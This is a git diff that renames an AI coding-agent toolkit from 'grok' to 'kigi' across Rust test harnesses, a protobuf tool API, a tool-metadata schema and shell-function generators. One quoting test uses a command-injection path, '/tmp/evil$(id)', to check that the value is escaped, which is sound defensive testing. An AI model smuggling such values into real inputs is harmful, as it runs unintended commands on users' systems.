 /// The leader subprocess it elects hosts the actual sessions.
 pub struct LeaderStdioClient {
     pub conn: acp::ClientSideConnection,
@@ -114,7 +114,7 @@ pub struct LeaderStdioClient {
 
 impl LeaderStdioClient {
     pub async fn spawn(server: &MockInferenceServer, cwd: &Path, home: &Path) -> Self {
-        Self::spawn_with_binary(&grok_binary(), server, cwd, home).await
+        Self::spawn_with_binary(&kigi_binary(), server, cwd, home).await
     }
 
     /// [`Self::spawn`] with an explicit binary, for two-binary version-skew
@@ -128,7 +128,7 @@ impl LeaderStdioClient {
         let mut cmd = tokio::process::Command::new(binary);
         cmd.args(["agent", "--leader", "stdio"])
             .current_dir(cwd)
-            // Hermetic env: the developer's shell may export GROK_* vars
+            // Hermetic env: the developer's shell may export KIGI_* vars
             // (e.g. KIGI_LEADER_SOCKET pointing at a REAL leader on this
             // machine). env_clear + explicit allowlist guarantees the test
             // can never touch a leader outside its sandbox home.
@@ -330,8 +330,8 @@ pub async fn wait_for_new_leader(home: &Path, old_pid: u32, timeout: Duration) -
 
 /// Wait for evidence that the bridge finished its reconnect replay.
 ///
-/// The `x.ai/leader_reconnected` ext notification is dropped by the typed
-/// `ClientSideConnection` (bare `x.ai/*` methods are rejected by the ACP
+/// The `kigi/leader_reconnected` ext notification is dropped by the typed
+/// `ClientSideConnection` (bare `kigi/*` methods are rejected by the ACP
 /// decoder), so we wait for the replayed `session/load` to emit session
 /// notifications instead: the notification count rises above `baseline`.
 pub async fn wait_for_replay_notifications(
diff --git a/crates/codegen/kigi-test-support/src/lib.rs b/crates/codegen/kigi-test-support/src/lib.rs
index 6740e7a..4015a41 100644
--- a/crates/codegen/kigi-test-support/src/lib.rs
+++ b/crates/codegen/kigi-test-support/src/lib.rs
@@ -5,18 +5,18 @@
     unreachable_code,
     dead_code
 )]
-//! Shared test utilities for grok-build crates: mock inference server, SSE
+//! Shared test utilities for kigi crates: mock inference server, SSE
 //! generators, ACP stdio client, headless runner, env sandbox.
 //!
 //! Provides:
 //! - [`MockInferenceServer`] — Mock /v1/chat/completions + /v1/responses with request logging
-//! - [`GrokStdioClient`] — ACP client that drives `grok agent stdio` as a subprocess
+//! - [`KigiStdioClient`] — ACP client that drives `kigi agent stdio` as a subprocess
 //! - [`RawStdioClient`] — raw-wire ACP driver for bytes the typed client can't
 //!   produce (Foundation `\/` methods, string UUID ids)
-//! - [`leader::LeaderStdioClient`] — ACP client that drives `grok agent --leader stdio` (unix)
-//! - [`run_headless`] — Run `grok -p` against the mock server and capture output
+//! - [`leader::LeaderStdioClient`] — ACP client that drives `kigi agent --leader stdio` (unix)
+//! - [`run_headless`] — Run `kigi -p` against the mock server and capture output
 //! - [`git_workdir`] — Create a temp directory with git repo (forces libgit2 init)
-//! - [`grok_binary`] — Resolve the grok binary path (KIGI_BINARY env or cargo_bin)
+//! - [`kigi_binary`] — Resolve the kigi binary path (KIGI_BINARY env or cargo_bin)
 //! - [`spawn_counting_server`] — Connection-counting HTTP/1.1 server for wire/pooling tests
 //! - [`uds_proxy::UdsProxy`] — Frame-aware fault-injection proxy for leader IPC sockets (unix)
 pub mod acp_client;
@@ -31,9 +31,9 @@ pub mod scripted;
 pub mod sse;
 #[cfg(unix)]
 pub mod uds_proxy;
-pub use acp_client::{GrokStdioClient, RawStdioClient};
+pub use acp_client::{KigiStdioClient, RawStdioClient};
 pub use counting_server::spawn_counting_server;
-pub use env::{EnvGuard, git_workdir, grok_binary};
+pub use env::{EnvGuard, git_workdir, kigi_binary};
 pub use headless::{
     HeadlessResult, assert_headless_success, assert_no_crashes, run_headless,
     run_headless_with_cmd, stderr_tail,
diff --git a/crates/codegen/kigi-test-support/src/process.rs b/crates/codegen/kigi-test-support/src/process.rs
index d99a330..96726e6 100644
--- a/crates/codegen/kigi-test-support/src/process.rs
+++ b/crates/codegen/kigi-test-support/src/process.rs
@@ -4,7 +4,7 @@ use std::sync::Arc;
 
 /// Pipe all three stdio handles, `kill_on_drop`, spawn, and drain the child's
 /// stderr into the returned buffer on a background task. The one spawn path
-/// shared by every subprocess harness in this crate (`GrokStdioClient`,
+/// shared by every subprocess harness in this crate (`KigiStdioClient`,
 /// `RawStdioClient`, `leader::LeaderStdioClient`); env/args stay with the
 /// callers, whose hermeticity models differ (sandbox-inherit vs `env_clear`).
 /// The drain future is `Send`, so this works on and off a `LocalSet`.
@@ -21,7 +21,7 @@ pub(crate) fn spawn_piped_with_stderr_capture(
     let program = cmd.as_std().get_program().to_string_lossy().into_owned();
     let mut child = cmd
         .spawn()
-        .unwrap_or_else(|e| panic!("failed to spawn grok at {program}: {e}"));
+        .unwrap_or_else(|e| panic!("failed to spawn kigi at {program}: {e}"));
 
     let stderr = Arc::new(std::sync::Mutex::new(Vec::new()));
     let stderr_capture = stderr.clone();
diff --git a/crates/codegen/kigi-test-support/src/sse.rs b/crates/codegen/kigi-test-support/src/sse.rs
index 0b8e685..243c1b4 100644
--- a/crates/codegen/kigi-test-support/src/sse.rs
+++ b/crates/codegen/kigi-test-support/src/sse.rs
@@ -1,6 +1,6 @@
 //! SSE stream generators for mock inference endpoints.
 //!
-//! These produce the exact wire format that the grok sampling client expects,
+//! These produce the exact wire format that the kigi sampling client expects,
 //! validated against the real sampling client.
 
 use axum::response::sse::Event;
diff --git a/crates/codegen/kigi-tools-api/Cargo.toml b/crates/codegen/kigi-tools-api/Cargo.toml
index 5895196..00ea83d 100644
--- a/crates/codegen/kigi-tools-api/Cargo.toml
+++ b/crates/codegen/kigi-tools-api/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-tools-api"
 version.workspace = true
 edition.workspace = true
-description = "Protobuf API definitions for Grok tools"
+description = "Protobuf API definitions for Kigi tools"
 
 [dependencies]
 tonic-prost = { workspace = true }
diff --git a/crates/codegen/kigi-tools-api/proto/kigi-tools.proto b/crates/codegen/kigi-tools-api/proto/kigi-tools.proto
index 6c0cef9..a40f75e 100644
--- a/crates/codegen/kigi-tools-api/proto/kigi-tools.proto
+++ b/crates/codegen/kigi-tools-api/proto/kigi-tools.proto
@@ -6,9 +6,9 @@ package kigi.tools.v1;
 // MAIN SERVICE
 // ============================================================================
 
-/// GrokToolsService provides a gRPC interface to the Grok tools runtime.
+/// KigiToolsService provides a gRPC interface to the Kigi tools runtime.
 /// It supports tool execution, discovery, configuration, and lifecycle management.
-service GrokToolsService {
+service KigiToolsService {
   // ========== TOOL EXECUTION ==========
 
   /// Execute a single tool call
@@ -213,7 +213,7 @@ message FinalizeToolServerConfigRequest {
 /// Maps to `ToolConfig` in the tools library.
 message ToolConfigEntry {
   /// Fully qualified tool ID: colon-separated `Namespace:tool`
-  /// (e.g., "GrokBuild:bash", "GrokBuild:read_file").
+  /// (e.g., "Kigi:bash", "Kigi:read_file").
   ///
   /// The whole selection path keys on this format: the default
   /// client-facing name is the segment after the FIRST colon (see
@@ -270,7 +270,7 @@ message FinalizeConfigViolation {
 /// Structured deprecation/lifecycle warning for a specific tool version
 /// or bundle. Informational only — does not affect control flow.
 message VersionWarning {
-  /// Fully-qualified tool ID (e.g. "GrokBuild:run_terminal_cmd").
+  /// Fully-qualified tool ID (e.g. "Kigi:run_terminal_cmd").
   /// Empty for bundle-level warnings.
   string fq_tool_id = 1;
   /// The deprecated version (e.g. "legacy-0.4.10").
@@ -637,9 +637,9 @@ message ToolInfo {
   /// "legacy-0.4.10"). Empty for unmanaged tools.
   string contract_version = 18;
 
-  /// Tool namespace (e.g. "GrokBuild", "Codex", "OpenCode").
+  /// Tool namespace (e.g. "Kigi", "Codex", "OpenCode").
   /// Populated by ListTools pre-finalization from the fully-qualified
-  /// registry key (e.g. "GrokBuild:grep" → namespace="GrokBuild").
+  /// registry key (e.g. "Kigi:grep" → namespace="Kigi").
   string namespace = 19;
 }
 
diff --git a/crates/codegen/kigi-tools-api/src/config_validation.rs b/crates/codegen/kigi-tools-api/src/config_validation.rs
index 349c2f2..a24e35c 100644
--- a/crates/codegen/kigi-tools-api/src/config_validation.rs
+++ b/crates/codegen/kigi-tools-api/src/config_validation.rs
@@ -138,12 +138,12 @@ mod tests {
 
     #[test]
     fn unset_params_is_ok_none() {
-        assert_eq!(parse_params_json(0, "GrokBuild:grep", None), Ok(None));
+        assert_eq!(parse_params_json(0, "Kigi:grep", None), Ok(None));
     }
 
     #[test]
     fn valid_object_is_returned() {
-        let parsed = parse_params_json(0, "GrokBuild:grep", Some(r#"{"max_results":50}"#)).unwrap();
+        let parsed = parse_params_json(0, "Kigi:grep", Some(r#"{"max_results":50}"#)).unwrap();
         assert_eq!(
             parsed,
             Some(
@@ -157,7 +157,7 @@ mod tests {
 
     #[test]
     fn empty_string_is_a_parse_error() {
-        let err = parse_params_json(3, "GrokBuild:grep", Some("")).unwrap_err();
+        let err = parse_params_json(3, "Kigi:grep", Some("")).unwrap_err();
         assert_eq!(err.index, 3);
         assert_eq!(err.field_path(), "tools[3].params_json");
         assert!(matches!(
@@ -188,10 +188,10 @@ mod tests {
 
     #[test]
     fn name_override_unset_or_valid_is_ok() {
-        assert_eq!(validate_name_override(0, "GrokBuild:grep", None), Ok(()));
-        for name in ["search", "GrokBuild:grep", "a-b_C9"] {
+        assert_eq!(validate_name_override(0, "Kigi:grep", None), Ok(()));
+        for name in ["search", "Kigi:grep", "a-b_C9"] {
             assert_eq!(
-                validate_name_override(0, "GrokBuild:grep", Some(name)),
+                validate_name_override(0, "Kigi:grep", Some(name)),
                 Ok(()),
                 "name={name:?}"
             );
@@ -201,7 +201,7 @@ mod tests {
     #[test]
     fn name_override_outside_charset_is_rejected() {
         for name in ["has space", "", "a:b:c", "dot.name"] {
-            let err = validate_name_override(2, "GrokBuild:grep", Some(name)).unwrap_err();
+            let err = validate_name_override(2, "Kigi:grep", Some(name)).unwrap_err();
             assert_eq!(err.index, 2, "name={name:?}");
             assert_eq!(err.field_path(), "tools[2].name_override");
             assert!(
@@ -228,30 +228,27 @@ mod tests {
 
     #[test]
     fn all_ids_present_returns_none() {
-        let entries = [entry("GrokBuild:grep"), entry("GrokBuild:read_file")];
-        let allowed = allowed(&["GrokBuild:grep", "GrokBuild:read_file", "GrokBuild:bash"]);
+        let entries = [entry("Kigi:grep"), entry("Kigi:read_file")];
+        let allowed = allowed(&["Kigi:grep", "Kigi:read_file", "Kigi:bash"]);
         assert_eq!(first_unknown_tool_id(&entries, &allowed), None);
     }
 
     #[test]
     fn empty_entries_returns_none() {
-        assert_eq!(
-            first_unknown_tool_id(&[], &allowed(&["GrokBuild:grep"])),
-            None
-        );
+        assert_eq!(first_unknown_tool_id(&[], &allowed(&["Kigi:grep"])), None);
     }
 
     #[test]
     fn first_unknown_id_is_returned_with_index() {
         let entries = [
-            entry("GrokBuild:grep"),
-            entry("GrokBuild:nonexistent"),
-            entry("GrokBuild:also_missing"),
+            entry("Kigi:grep"),
+            entry("Kigi:nonexistent"),
+            entry("Kigi:also_missing"),
         ];
-        let allowed = allowed(&["GrokBuild:grep"]);
+        let allowed = allowed(&["Kigi:grep"]);
         assert_eq!(
             first_unknown_tool_id(&entries, &allowed),
-            Some((1, "GrokBuild:nonexistent"))
+            Some((1, "Kigi:nonexistent"))
         );
     }
 }
diff --git a/crates/codegen/kigi-tools-api/src/lib.rs b/crates/codegen/kigi-tools-api/src/lib.rs
index 66412ce..27e0583 100644
--- a/crates/codegen/kigi-tools-api/src/lib.rs
+++ b/crates/codegen/kigi-tools-api/src/lib.rs
@@ -1,4 +1,4 @@
-//! Shared API definitions for Grok tools: protobuf types, config validation,
+//! Shared API definitions for Kigi tools: protobuf types, config validation,
 //! and canonical slash-command wording.
 //!
 //! Used by both the tools library and the gRPC server, and by host services
@@ -96,7 +96,7 @@ pub use pb::{
 
 /// Default client-facing tool name derived from a namespaced tool id.
 ///
-/// Tool ids are colon-separated `Namespace:tool` (e.g. `GrokBuild:grep`); the
+/// Tool ids are colon-separated `Namespace:tool` (e.g. `Kigi:grep`); the
 /// default name is the segment after the FIRST colon, so an id with embedded
 /// colons (`ns:a:b`) resolves to `a`. Ids without a colon are returned as-is.
 ///
@@ -131,7 +131,7 @@ mod default_client_name_tests {
 
     #[test]
     fn pins_first_colon_derivation() {
-        assert_eq!(default_client_name("GrokBuild:grep"), "grep");
+        assert_eq!(default_client_name("Kigi:grep"), "grep");
         assert_eq!(default_client_name("ns:a:b"), "a");
         assert_eq!(default_client_name("bare"), "bare");
         assert_eq!(default_client_name(""), "");
diff --git a/crates/codegen/kigi-tools-api/tests/wire_shape.rs b/crates/codegen/kigi-tools-api/tests/wire_shape.rs
index 933a103..131cbe4 100644
--- a/crates/codegen/kigi-tools-api/tests/wire_shape.rs
+++ b/crates/codegen/kigi-tools-api/tests/wire_shape.rs
@@ -9,7 +9,7 @@ use kigi_tools_api::ToolConfigEntry;
 
 fn full_entry() -> ToolConfigEntry {
     ToolConfigEntry {
-        id: "GrokBuild:grep".to_owned(),
+        id: "Kigi:grep".to_owned(),
         params_json: Some(r#"{"max_results":50}"#.to_owned()),
         name_override: Some("search".to_owned()),
         params_name_overrides: std::collections::HashMap::from([(
@@ -27,7 +27,7 @@ fn tool_config_entry_serializes_to_pinned_json_shape() {
     assert_eq!(
         value,
         serde_json::json!({
-            "id": "GrokBuild:grep",
+            "id": "Kigi:grep",
             "params_json": "{\"max_results\":50}",
             "name_override": "search",
             "params_name_overrides": {"pattern": "query"},
@@ -48,10 +48,9 @@ fn tool_config_entry_round_trips() {
 #[test]
 fn minimal_entry_deserializes_from_id_only() {
     // Consumers must accept sparse payloads: optional fields absent, map empty.
-    let back: ToolConfigEntry =
-        serde_json::from_value(serde_json::json!({"id": "GrokBuild:read_file"}))
-            .expect("deserialize minimal");
-    assert_eq!(back.id, "GrokBuild:read_file");
+    let back: ToolConfigEntry = serde_json::from_value(serde_json::json!({"id": "Kigi:read_file"}))
+        .expect("deserialize minimal");
+    assert_eq!(back.id, "Kigi:read_file");
     assert_eq!(back.params_json, None);
     assert_eq!(back.name_override, None);
     assert!(back.params_name_overrides.is_empty());
@@ -73,7 +72,7 @@ fn explicit_null_optional_fields_deserialize_as_none() {
     // `#[serde(default)]` covers *absent* keys; explicit `null` is handled by
     // the `Option` fields themselves. Pin that both shapes are accepted.
     let back: ToolConfigEntry = serde_json::from_value(serde_json::json!({
-        "id": "GrokBuild:read_file",
+        "id": "Kigi:read_file",
         "params_json": null,
         "name_override": null,
         "behavior_version": null,
@@ -92,7 +91,7 @@ fn explicit_null_map_is_rejected() {
     // map. Producers must omit the key or emit `{}`. Pin the rejection so a
     // codegen change that silently starts accepting `null` is caught.
     let result: Result<ToolConfigEntry, _> = serde_json::from_value(serde_json::json!({
-        "id": "GrokBuild:read_file",
+        "id": "Kigi:read_file",
         "params_name_overrides": null,
     }));
     assert!(
diff --git a/crates/codegen/kigi-tools/Cargo.toml b/crates/codegen/kigi-tools/Cargo.toml
index 5f42a01..83db639 100644
--- a/crates/codegen/kigi-tools/Cargo.toml
+++ b/crates/codegen/kigi-tools/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 edition.workspace = true
 name = "kigi-tools"
 version.workspace = true
-description = "Grok tools library"
+description = "Kigi tools library"
 
 [dependencies]
 anyhow = { workspace = true }
diff --git a/crates/codegen/kigi-tools/schema/tool_meta.schema.json b/crates/codegen/kigi-tools/schema/tool_meta.schema.json
index d06fa94..f6c9e16 100644
--- a/crates/codegen/kigi-tools/schema/tool_meta.schema.json
+++ b/crates/codegen/kigi-tools/schema/tool_meta.schema.json
@@ -1,7 +1,7 @@
 {
   "$schema": "http://json-schema.org/draft-07/schema#",
   "title": "CanonicalToolMeta",
-  "description": "The canonical tool-identity envelope, attached to a tool-call event `_meta`\nas one nested object under [`TOOL_META_KEY`].\n\n```json\n\"x.ai/tool\": {\n  \"version\": 1,\n  \"name\": \"read_file\",\n  \"kind\": \"read\",\n  \"namespace\": \"grok_build\",\n  \"label\": \"Read\",\n  \"read_only\": true,\n  \"input\": { \"path\": \"...\" }\n}\n```\n\nConsumer contract:\n- **`label`** is the cross-harness grouping/display key: equivalent tools\n  share it (grok `read_file` → `\"Read\"`).\n- **`kind`** is a finer discriminator (`metadata.kind()`), *not* guaranteed\n  equal for equivalent ops across harnesses (listing is `list` in one\n  toolset, `list_dir` in another); prefer `label` to join, tolerate unknowns.\n- **`name`** is the harness-specific model-facing name; for diagnostics.\n  For harness-initiated events (e.g. the `bash_mode` marker), `raw_input`\n  is not guaranteed to match `name`'s schema.\n- **`input`** is a canonical *projection*, not a mirror: cross-harness keys\n  only, so some raw fields are intentionally dropped (e.g. grep flags,\n  `replace_all`), and bulky payload\n  fields (edit `old_string`/`new_string`, full write contents) are never\n  projected — read them from `raw_input`. It is omitted entirely\n  when no stable shape exists (MCP / dynamic / out-of-scope). When a field or\n  the whole dict is absent, fall back to `raw_input` on this or an earlier\n  update for the same `tool_call_id` (some updates, e.g. a parse failure,\n  carry neither and rely on the merge below).\n- **Lifecycle:** updates for one call share a `tool_call_id` — merge across\n  them (last write wins); `input` may arrive on a later update.\n- **Versioning:** additive changes (new object fields, new `kind` / `label`\n  values) don't bump `version`. Unknown `kind` degrades to `\"other\"`;\n  `namespace` is a closed enum (no `other` sink), so a new toolset fails\n  strict typed deserialization of the whole envelope — intentional, to force\n  typed consumers with exhaustive matches to update. Out-of-tree consumers\n  should read `namespace` loosely (as a string) and, on any `x.ai/tool`\n  parse failure, treat it as absent and fall back to `raw_input` + the ACP\n  `kind`. `version` bumps only on removal or meaning change.",
+  "description": "The canonical tool-identity envelope, attached to a tool-call event `_meta`\nas one nested object under [`TOOL_META_KEY`].\n\n```json\n\"kigi/tool\": {\n  \"version\": 1,\n  \"name\": \"read_file\",\n  \"kind\": \"read\",\n  \"namespace\": \"kigi\",\n  \"label\": \"Read\",\n  \"read_only\": true,\n  \"input\": { \"path\": \"...\" }\n}\n```\n\nConsumer contract:\n- **`label`** is the cross-harness grouping/display key: equivalent tools\n  share it (kigi `read_file` → `\"Read\"`).\n- **`kind`** is a finer discriminator (`metadata.kind()`), *not* guaranteed\n  equal for equivalent ops across harnesses (listing is `list` in one\n  toolset, `list_dir` in another); prefer `label` to join, tolerate unknowns.\n- **`name`** is the harness-specific model-facing name; for diagnostics.\n  For harness-initiated events (e.g. the `bash_mode` marker), `raw_input`\n  is not guaranteed to match `name`'s schema.\n- **`input`** is a canonical *projection*, not a mirror: cross-harness keys\n  only, so some raw fields are intentionally dropped (e.g. grep flags,\n  `replace_all`), and bulky payload\n  fields (edit `old_string`/`new_string`, full write contents) are never\n  projected — read them from `raw_input`. It is omitted entirely\n  when no stable shape exists (MCP / dynamic / out-of-scope). When a field or\n  the whole dict is absent, fall back to `raw_input` on this or an earlier\n  update for the same `tool_call_id` (some updates, e.g. a parse failure,\n  carry neither and rely on the merge below).\n- **Lifecycle:** updates for one call share a `tool_call_id` — merge across\n  them (last write wins); `input` may arrive on a later update.\n- **Versioning:** additive changes (new object fields, new `kind` / `label`\n  values) don't bump `version`. Unknown `kind` degrades to `\"other\"`;\n  `namespace` is a closed enum (no `other` sink), so a new toolset fails\n  strict typed deserialization of the whole envelope — intentional, to force\n  typed consumers with exhaustive matches to update. Out-of-tree consumers\n  should read `namespace` loosely (as a string) and, on any `kigi/tool`\n  parse failure, treat it as absent and fall back to `raw_input` + the ACP\n  `kind`. `version` bumps only on removal or meaning change.",
   "type": "object",
   "properties": {
     "version": {
@@ -40,12 +40,12 @@
       "type": "string"
     },
     "ToolNamespace": {
-      "description": "The toolset a tool belongs to.\n\nSerializes to snake_case (`grok_build`, `mcp`, …) for the\ncanonical tool `_meta` wire contract. PascalCase aliases are accepted on\ndeserialize so legacy persisted/manifest values still parse. The\n`Display` impl remains PascalCase for existing qualified id strings\n(e.g. `\"GrokBuild:read_file\"`); only the serde form goes on the wire.",
+      "description": "The toolset a tool belongs to.\n\nSerializes to snake_case (`kigi`, `mcp`, …) for the\ncanonical tool `_meta` wire contract. PascalCase aliases are accepted on\ndeserialize so legacy persisted/manifest values still parse. The\n`Display` impl remains PascalCase for existing qualified id strings\n(e.g. `\"Kigi:read_file\"`); only the serde form goes on the wire.",
       "type": "string",
       "enum": [
-        "grok_build",
-        "grok_build_concise",
-        "grok_build_hashline",
+        "kigi",
+        "kigi_concise",
+        "kigi_hashline",
         "codex",
         "opencode",
         "mcp"
diff --git a/crates/codegen/kigi-tools/src/bridge.rs b/crates/codegen/kigi-tools/src/bridge.rs
index 3f38f02..bb0e0de 100644
--- a/crates/codegen/kigi-tools/src/bridge.rs
+++ b/crates/codegen/kigi-tools/src/bridge.rs
@@ -105,7 +105,7 @@ impl ToolBridge {
     /// rather than by namespaced id.
     ///
     /// Example: `tool_for_kind(ToolKind::BackgroundTaskAction)` returns
-    /// `Some("get_task_output")` for the grok_build agent and `None` for
+    /// `Some("get_task_output")` for the kigi agent and `None` for
     /// agents that do not register a tool of that kind.
     pub async fn tool_for_kind(&self, kind: ToolKind) -> Option<String> {
         self.registry
@@ -547,9 +547,7 @@ impl ToolBridge {
         &self,
         task_id: &str,
     ) -> Result<bool, kigi_tool_runtime::ToolError> {
-        use crate::implementations::grok_build::scheduler::types::{
-            SchedulerCommand, SchedulerHandle,
-        };
+        use crate::implementations::kigi::scheduler::types::{SchedulerCommand, SchedulerHandle};
         let sender = {
             let res = self.registry.resources.lock().await;
             res.get::<SchedulerHandle>()
@@ -705,7 +703,7 @@ mod tests {
         let bridge = ToolBridge::for_test();
         let toolset = bridge.toolset();
 
-        // PascalCase + grok_build's snake_case in one registry
+        // PascalCase + kigi's snake_case in one registry
         // to exercise the lookup on the literal name strings each
         // namespace ships.
         register_fixture(&toolset, "Write", ToolKind::Write, "fixture_write");
diff --git a/crates/codegen/kigi-tools/src/computer/local/embedded_search_tools.rs b/crates/codegen/kigi-tools/src/computer/local/embedded_search_tools.rs
index fdaf365..619a785 100644
--- a/crates/codegen/kigi-tools/src/computer/local/embedded_search_tools.rs
+++ b/crates/codegen/kigi-tools/src/computer/local/embedded_search_tools.rs
@@ -23,7 +23,7 @@
 //! reachable only through the login shell is still found.
 //!
 //! Inject is **always** non-empty on Unix callers: either install a shadow
-//! function (which tags itself with a `__grok_shadow_{name}` marker) or a
+//! function (which tags itself with a `__kigi_shadow_{name}` marker) or a
 //! marker-gated `unalias`+`unset -f` that drops *only* a prior harness shadow —
 //! never a user-defined `find`/`grep` function replayed from the snapshot.
 
@@ -47,7 +47,7 @@ const UGREP_DEFAULT_ARGS: &[&str] = &[
 
 // Binaries embedded by build.rs when `KIGI_TOOLS_BUNDLE_{BFS,UGREP}_PATH` is set
 // (release pipeline). Self-extracted to `~/.kigi/vendor` on first use, mirroring
-// the ripgrep bundling in `grok_build::grep::ripgrep`.
+// the ripgrep bundling in `kigi::grep::ripgrep`.
 #[cfg(bundle_bfs)]
 const BFS_BYTES: &[u8] = include_bytes!(concat!(
     env!("OUT_DIR"),
@@ -100,16 +100,16 @@ fn build_injection(find_on: bool, grep_on: bool, tools: &ResolvedTools) -> Strin
 }
 
 /// Drop a *previously installed harness* shadow so command-word `{name}` uses the
-/// OS binary again. Gated on the `__grok_shadow_{name}` marker that
+/// OS binary again. Gated on the `__kigi_shadow_{name}` marker that
 /// [`shell_function`] sets, so a user-defined `{name}` function replayed from the
 /// shell snapshot is left intact — only the harness's own shadow is removed.
 /// `set -u`/`set -e` safe and idempotent (`unset -f` is bash + zsh).
 fn restore_command(name: &str) -> String {
     format!(
-        "if [ -n \"${{__grok_shadow_{name}-}}\" ]; then \
+        "if [ -n \"${{__kigi_shadow_{name}-}}\" ]; then \
            unalias {name} 2>/dev/null || true; \
            unset -f {name} 2>/dev/null || true; \
-           unset __grok_shadow_{name} 2>/dev/null || true; \
+           unset __kigi_shadow_{name} 2>/dev/null || true; \
          fi"
     )
 }
@@ -265,7 +265,7 @@ fn bash_safe_quote(s: &str) -> String {
 /// keeps the probe `set -u`-safe (a bare `$ZSH_VERSION` aborts bash under
 /// nounset). `exec -a` gives the binary the `find`/`grep` argv0 (ps display +
 /// ugrep grep-personality) in both bash and zsh. The trailing
-/// `__grok_shadow_{name}=1` marks this as a harness shadow so `restore_command`
+/// `__kigi_shadow_{name}=1` marks this as a harness shadow so `restore_command`
 /// only ever removes our own function — never a user's.
 fn shell_function(
     name: &str,
@@ -284,12 +284,12 @@ fn shell_function(
             format!("{} ", qargs.join(" "))
         }
     };
-    // `local __grok_bin` is re-resolved every call. The host hint is trusted
+    // `local __kigi_bin` is re-resolved every call. The host hint is trusted
     // only when it's *executable* (`[ -x ]`, not just `[ -f ]`): the resolver
     // accepts any regular file as a hint, but `exec` needs `+x`, so a non-exec
     // hint must fall through rather than hard-fail with no OS fallback. Then
     // `command -v` on the live shell PATH (returns an executable), else the OS
-    // binary. `|| __grok_bin=''` keeps the lookup `set -e`-safe (a failed
+    // binary. `|| __kigi_bin=''` keeps the lookup `set -e`-safe (a failed
     // `command -v` would otherwise abort the function under errexit). The OS
     // fallback uses `command {name}` to bypass this function. `{prepend}` is
     // empty for find, the ugrep default flags for grep (and is omitted from the
@@ -297,16 +297,16 @@ fn shell_function(
     format!(
         "unalias {name} 2>/dev/null || true; \
          {name}() {{ \
-           local __grok_bin={qpref}; \
-           [ -x \"$__grok_bin\" ] || __grok_bin=$(command -v {bin_name} 2>/dev/null) || __grok_bin=''; \
-           if [ -z \"$__grok_bin\" ]; then command {name} \"$@\"; return; fi; \
+           local __kigi_bin={qpref}; \
+           [ -x \"$__kigi_bin\" ] || __kigi_bin=$(command -v {bin_name} 2>/dev/null) || __kigi_bin=''; \
+           if [ -z \"$__kigi_bin\" ]; then command {name} \"$@\"; return; fi; \
            if [[ -z ${{ZSH_VERSION-}} ]] && (( BASH_SUBSHELL > 0 )); then \
-             exec -a {name} \"$__grok_bin\" {prepend}\"$@\"; \
+             exec -a {name} \"$__kigi_bin\" {prepend}\"$@\"; \
            else \
-             (exec -a {name} \"$__grok_bin\" {prepend}\"$@\"); \
+             (exec -a {name} \"$__kigi_bin\" {prepend}\"$@\"); \
            fi; \
          }}; \
-         __grok_shadow_{name}=1"
+         __kigi_shadow_{name}=1"
     )
 }
 
@@ -326,20 +326,20 @@ mod tests {
     fn shell_function_shape() {
         let fn_body = shell_function("find", "bfs", Some(Path::new("/tmp/bfs")), &[]);
         assert!(fn_body.contains("unalias find"));
-        // Preferred path is the fast-path hint; the shadow execs `$__grok_bin`.
-        assert!(fn_body.contains("local __grok_bin=/tmp/bfs"));
-        assert!(fn_body.contains("exec -a find \"$__grok_bin\" \"$@\""));
+        // Preferred path is the fast-path hint; the shadow execs `$__kigi_bin`.
+        assert!(fn_body.contains("local __kigi_bin=/tmp/bfs"));
+        assert!(fn_body.contains("exec -a find \"$__kigi_bin\" \"$@\""));
         // Hint is trusted only when executable (`[ -x ]`, not `[ -f ]`), so a
         // non-exec hint falls through instead of hard-failing exec.
-        assert!(fn_body.contains("[ -x \"$__grok_bin\" ]"));
-        assert!(!fn_body.contains("[ -f \"$__grok_bin\" ]"));
+        assert!(fn_body.contains("[ -x \"$__kigi_bin\" ]"));
+        assert!(!fn_body.contains("[ -f \"$__kigi_bin\" ]"));
         // Self-heal: live-PATH lookup + OS fallback.
         assert!(fn_body.contains("command -v bfs"));
         assert!(fn_body.contains("command find \"$@\""));
         assert!(fn_body.contains("BASH_SUBSHELL > 0"));
         assert!(fn_body.contains("(exec -a find"));
         // Marker so `restore_command` only removes our own shadow.
-        assert!(fn_body.contains("__grok_shadow_find=1"));
+        assert!(fn_body.contains("__kigi_shadow_find=1"));
         // set -u-safe zsh probe (a bare $ZSH_VERSION aborts bash under nounset).
         assert!(fn_body.contains("${ZSH_VERSION-}"));
         assert!(!fn_body.contains("[[ -n $ZSH_VERSION ]]"));
@@ -349,7 +349,7 @@ mod tests {
     fn shell_function_unresolved_uses_empty_hint() {
         // No host-resolved path → empty hint, relies on live-PATH `command -v`.
         let fn_body = shell_function("find", "bfs", None, &[]);
-        assert!(fn_body.contains("local __grok_bin=''"));
+        assert!(fn_body.contains("local __kigi_bin=''"));
         assert!(fn_body.contains("command -v bfs"));
         assert!(fn_body.contains("command find \"$@\""));
     }
@@ -362,8 +362,8 @@ mod tests {
             Some(Path::new("/tmp/ugrep")),
             UGREP_DEFAULT_ARGS,
         );
-        assert!(fn_body.contains("local __grok_bin=/tmp/ugrep"));
-        assert!(fn_body.contains("\"$__grok_bin\" -G --ignore-files --hidden -I"));
+        assert!(fn_body.contains("local __kigi_bin=/tmp/ugrep"));
+        assert!(fn_body.contains("\"$__kigi_bin\" -G --ignore-files --hidden -I"));
         assert!(fn_body.contains("--exclude-dir=.git"));
         assert!(fn_body.contains("command -v ugrep"));
     }
@@ -373,7 +373,7 @@ mod tests {
         assert_eq!(bash_safe_quote("/usr/bin/bfs"), "/usr/bin/bfs");
         assert_eq!(bash_safe_quote("/tmp/my bfs"), "'/tmp/my bfs'");
         let body = shell_function("find", "bfs", Some(Path::new("/tmp/evil$(id)")), &[]);
-        assert!(body.contains("local __grok_bin='/tmp/evil$(id)'"), "{body}");
+        assert!(body.contains("local __kigi_bin='/tmp/evil$(id)'"), "{body}");
         assert!(!body.contains("=/tmp/evil$(id)"));
     }
 
@@ -381,10 +381,10 @@ mod tests {
     fn restore_command_is_marker_gated() {
         let r = restore_command("find");
         // Only removes the harness shadow when our marker is set.
-        assert!(r.contains("if [ -n \"${__grok_shadow_find-}\" ]"));
+        assert!(r.contains("if [ -n \"${__kigi_shadow_find-}\" ]"));
         assert!(r.contains("unalias find"));
         assert!(r.contains("unset -f find"));
-        assert!(r.contains("unset __grok_shadow_find"));
+        assert!(r.contains("unset __kigi_shadow_find"));
     }
 
     #[test]
@@ -401,8 +401,8 @@ mod tests {
